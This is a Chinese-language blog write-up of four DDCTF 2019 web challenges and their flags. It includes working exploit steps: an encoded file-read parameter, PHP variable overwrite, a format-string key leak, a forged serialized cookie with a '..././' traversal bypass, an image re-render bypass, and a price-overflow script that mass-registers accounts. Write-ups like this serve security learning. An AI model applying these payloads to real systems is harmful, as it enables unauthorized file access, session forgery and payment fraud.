C1imber's Blog

DDCTF2019 write up

字数统计: 3k阅读时长: 13 min
2019/04/18 Share

DDCTF2019 write up

最近几天抽时间做了做DDCTF,只做出了几道Web,菜哭了==,这里将做出的题记录一下吧(参赛id:stark)

滴~

http://117.51.150.246

打开题目后跳到了一个连接,页面内容是一个表情包,jpg参数值看起来像一串base64,如下图
mark
将jpg的参数值TmpZMlF6WXhOamN5UlRaQk56QTJOdz09经过两次base64解码和一次hex解码后得到flag.jpg,另外在页面源码里面看到了flag.jpg图片内容base64编码后的内容,这里是使用img标签通过data伪协议将图片显示到了页面中
mark
所以猜测这里可能是一个任意文件读取,将index.php进行一次hex编码两次base64编码后得到TmprMlpUWTBOalUzT0RKbE56QTJPRGN3,将值传入jpg参数尝试读取index.php源码,可以读取成功
mark
结果如下:

PD9waHANCi8qDQogKiBodHRwczovL2Jsb2cuY3Nkbi5uZXQvRmVuZ0JhbkxpdVl1bi9hcnRpY2xlL2RldGFpbHMvODA2MTY2MDcNCiAqIERhdGU6IEp1bHkgNCwyMDE4DQogKi8NCmVycm9yX3JlcG9ydGluZyhFX0FMTCB8fCB+RV9OT1RJQ0UpOw0KDQoNCmhlYWRlcignY29udGVudC10eXBlOnRleHQvaHRtbDtjaGFyc2V0PXV0Zi04Jyk7DQppZighIGlzc2V0KCRfR0VUWydqcGcnXSkpDQogICAgaGVhZGVyKCdSZWZyZXNoOjA7dXJsPS4vaW5kZXgucGhwP2pwZz1UbXBaTWxGNldYaE9hbU41VWxSYVFrNTZRVEpPZHowOScpOw0KJGZpbGUgPSBoZXgyYmluKGJhc2U2NF9kZWNvZGUoYmFzZTY0X2RlY29kZSgkX0dFVFsnanBnJ10pKSk7DQplY2hvICc8dGl0bGU+Jy4kX0dFVFsnanBnJ10uJzwvdGl0bGU+JzsNCiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvW15hLXpBLVowLTkuXSsvIiwiIiwgJGZpbGUpOw0KZWNobyAkZmlsZS4nPC9icj4nOw0KJGZpbGUgPSBzdHJfcmVwbGFjZSgiY29uZmlnIiwiISIsICRmaWxlKTsNCmVjaG8gJGZpbGUuJzwvYnI+JzsNCiR0eHQgPSBiYXNlNjRfZW5jb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7DQoNCmVjaG8gIjxpbWcgc3JjPSdkYXRhOmltYWdlL2dpZjtiYXNlNjQsIi4kdHh0LiInPjwvaW1nPiI7DQovKg0KICogQ2FuIHlvdSBmaW5kIHRoZSBmbGFnIGZpbGU/DQogKg0KICovDQoNCj8+DQo=

base64解码后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>

通过源码可以大概猜测出来flag在config.php配置文件里面,经过测试这个文件是存在的,但是str_replace(“config”,”!”, $file)会将传入的config.php替换为!.php,所以这里是绕不过去的,但是代码里面有一个博客链接:

https://blog.csdn.net/FengBanLiuYun/article/details/80616607

这里可能是一个hint,但是这篇连接的文章并没有什么提示,接下来在博客里翻到了一篇文章,这个文章讲的是有关临时交换文件的

https://blog.csdn.net/FengBanLiuYun/article/details/80913909
mark
这篇文章里面提到了一个名为practice.txt.swp的文件,开了一下脑洞,试着访问了一下该文件发现确实存在
mark
文件内容是另一个文件的名字f1ag!ddctf.php,并且里面有!,可以绕过之前的检测,所以这里可以读取到f1ag!ddctf.php文件,将f1agconfigddctf.php进行一次hex编码两次base64编码后构造出TmpZek1UWXhOamMyTXpabU5tVTJOalk1TmpjMk5EWTBOak0zTkRZMk1tVTNNRFk0TnpBPQ==,传入jpg参数读到f1ag!ddctf.php的源码
mark
得到结果:

PD9waHANCmluY2x1ZGUoJ2NvbmZpZy5waHAnKTsNCiRrID0gJ2hlbGxvJzsNCmV4dHJhY3QoJF9HRVQpOw0KaWYoaXNzZXQoJHVpZCkpDQp7DQogICAgJGNvbnRlbnQ9dHJpbShmaWxlX2dldF9jb250ZW50cygkaykpOw0KICAgIGlmKCR1aWQ9PSRjb250ZW50KQ0KCXsNCgkJZWNobyAkZmxhZzsNCgl9DQoJZWxzZQ0KCXsNCgkJZWNobydoZWxsbyc7DQoJfQ0KfQ0KDQo/Pg==

base64解码得到源码内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>

这里是一个简单的变量覆盖,可以构造:http://117.51.150.246/f1ag!ddctf.php?uid=f1ag!ddctf.php&k=practice.txt.swp获取flag

mark

flag:DDCTF{436f6e67726174756c6174696f6e73}

另外这里有一个tip,可以不使用变量覆盖,直接构造http://117.51.150.246/f1ag!ddctf.php?uid=获取到flag
mark

因为$k变量的值hello是一个不存在的文件,会导致file_get_contents返回False,接下来False经过trim函数处理后会产生一次类型转换变成空字符串,所以$uid==$content,直接输出了flag

WEB签到题

http://117.51.158.44/index.php

打开后直接访问会提示没有登陆权限
mark
查看源码后发现存在一个/js/index.js文件,index.js代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/**
* Created by PhpStorm.
* User: didi
* Date: 2019/1/13
* Time: 9:05 PM
*/
function auth() {
$.ajax({
type: "post",
url:"http://117.51.158.44/app/Auth.php",
contentType: "application/json;charset=utf-8",
dataType: "json",
beforeSend: function (XMLHttpRequest) {
XMLHttpRequest.setRequestHeader("didictf_username", "");
},
success: function (getdata) {
console.log(getdata);
if(getdata.data !== '') {
document.getElementById('auth').innerHTML = getdata.data;
}
},error:function(error){
console.log(error);
}
});
}

通过简单的审计可以看到这里存在一个认证,通过ajax添加了一个http请求头didictf_username,猜测服务端是根据这个header头的值去做认证的,如果想访问到页面,首先需要得到出来一个username值,所以这里先对didictf_username进行爆破,通过爆破看到admin可以认证成功,之后会返回一个提示:app\/fL2XID2i0Cdh.php这个文件
mark
访问http://117.51.158.44/app/fL2XID2i0Cdh.php,可以获取到源码,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
url:app/Application.php
Class Application {
var $path = '';
public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;
}
public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}
}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}
url:app/Session.php
include 'Application.php';
class Session extends Application {
//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}
}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);
if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}
$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();

通过对代码代码审计可以看到在$session = unserialize($session)这里存在一个反序列化漏洞,这个点应该是个突破点,可以通过传入反序列化字符串触发Application对象当中的_destructs方法,_destructs当中存在任意文件读取,通过任意文件读取就可以读取到flag,另外代码里面限制了$path值为18个字符,结合代码的注释可以大概猜到flag文件为../config/flag.txt

但是想要触发反序列化漏洞,首先需要获取到../config/key.txt文件当中的key,否则cookie是不能随意修改的,因为这里存在认证,获取key的方法如下

第一步,请求Session.php,session_create函数会设置cookie,这里先获取到cookie
mark

第二步:将获取到的cookie添加到请求里面,绕过”the cookie data not match”
mark

接下来在传入post参数nickname的代码处,有一个foreach循环,这里会将key输出,代码如下:
mark

第一次循环,将Welcome my friend %s当中的%s替换为了$_POST['nickname'],此时$data变为了Welcome my friend $_POST['nickname'],第二次循环,要将key写入$data的时候,%s已经没有了,所以这里只输出了传入的nickname而不是key
mark
那么要想输出key,可以将nickname设置为%s,这样第一次循环后$data变为了Welcome my friend %s,第二次循环后%s就可以被替换为key输出了
mark
获取到key值:EzblrbNSO,得到key后,$cookiedata的值就可以随便构造了,这里构造序列化字符串进行任意文件读取,生成的exp代码如下:

1
2
3
4
5
6
7
8
<?php
Class Application {
var $path = '..././config/flag.txt';
}
$a=new Application();
echo serialize($a);
echo md5('EzblrbNSO:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}');
?>

因为 $path=str_replace('../','',$path);$path=str_replace('..\\','',$path);会删除../,所以这里需要使用双写..././绕过,之后得到:

O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}5a014dbe49334e6dbb7326046950bee2
将生成的exp进行传入cookie当中的ddctf_id请求即可,注意这里需要将O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}部分进行url编码,这样做是为了防止一些特殊字符的影响,然后就可以获取到flag了
mark

flag:DDCTF{ddctf2019_G4uqwj6E_pHVlHIDDGdV8qA2j}

Upload-IMG

http://117.51.148.166/upload.php

题目提供了用户名和密码:

user:dd@ctf
pass:DD@ctf#000

通过提供用户名密码登陆后看到是一个上传页面
mark
经过尝试发现这里对图片的16进制头做了检查,另一方面也会对上传的图片进行二次渲染,上传的图片格式都会变成jpg图片格式的

这里要求上传的图片里必须要phpinfo()这个字符串才能输出flag,但是由于二次渲染会的原因,图片当中插入的代码会被删除,这里需要突破二次渲染,类似于upload-labs的第16关,相关文章如下:

https://xz.aliyun.com/t/2657

这里可以使用文章当中提到的国外大神写的脚本实现对jpg二次渲染的突破

https://github.com/BlackFan/jpg_payload
最终通过脚本生成的图片成功得到flag
mark

mark

flag:DDCTF{B3s7_7ry_php1nf0_85127c366b3a9fad}

大吉大利,今晚吃鸡~

http://117.51.147.155:5050/index.html#/login

题目提示:注册用户登陆系统并购买入场票据,淘汰所有对手就能吃鸡啦~

注册账户登陆,发现自己只有100余额,但是购买门票需要2000余额

mark

于是想到了之前护网杯买大辣条的一道题,这里应该存在整型溢出,经过测试发现这里存在uint32位的整型溢出.在立即购买下订单的时候修改金额为2^32+1,也就是4294967297
mark

接下来在支付的时候可以产生溢出,通过1余额购买到门票

mark
mark
买到票后可以获得礼包,礼包当中包括了id和ticket,游戏规则大概是这样:每个账号在买完票后都会生成自己的id和ticket,如果想要消灭对方,需要知道对方的id和ticket才可以。

但是这一点注册账号是没有任何限制的,所以这里可以通过注册大量的账号,通过溢出购买门票获得id和ticket,之后使用其中一个账号消灭其它的账号即可,整个过程可以通过脚本实现,几个操作的接口如下:

注册接口
http://117.51.147.155:5050/ctf/api/register?name=xxx&password=xxx

登陆接口
http://117.51.147.155:5050/ctf/api/login?name=xxx&password=xxx

请求支付/下订单接口,下完订单会返回对应的bill_id
http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967297

支付接口:通过溢出实现门票购买,购买成功后会返回对于的id和ticket
http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=

移除对手接口
http://117.51.147.155:5050/ctf/api/remove_robot?id=xxx&ticket=xxx

最终编写出脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import json
username=[]
def register():
i=1
while True:
url="http://117.51.147.155:5050/ctf/api/register?name=mk%s&password=12345678"%(i)
r=requests.get(url).json()
print r
if len(username)==400:
print username
break
if r['code']==200:
username.append("mk%s"%(i))
i=i+1
else:
i=i+1
register()
for i in username:
url="http://117.51.147.155:5050/ctf/api/login?name=%s&password=12345678"%(i)
#print url
r=requests.session()
r.get(url)
payurl="http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967297"
data=r.get(payurl).json()
bill_id=data['data'][0]['bill_id']
pay="http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=%s"%(bill_id)
data=r.get(pay).json()
yourid=data['data'][0]['your_id']
ticket=data['data'][0]['your_ticket']
r.get("http://117.51.147.155:5050/ctf/api/login?name=st4rk&password=12345678")
delurl="http://117.51.147.155:5050/ctf/api/remove_robot?id=%s&ticket=%s"%(yourid,ticket)
print r.get(delurl).json()

接下来就可以执行脚本获取flag,需要注意的一点就是这里不是每个账号都可以消灭成功的,而且越往后,消灭的概率就会越低,写这道题的时候自己大概注册了快10000个账号才吃到鸡==

最终获取到flag:
mark

flag:DDCTF{chiken_dinner_hyMCX[n47Fx)}

CATALOG
  1. 1. DDCTF2019 write up
    1. 1.0.1. 滴~
    2. 1.0.2. WEB签到题
    3. 1.0.3. Upload-IMG
    4. 1.0.4. 大吉大利,今晚吃鸡~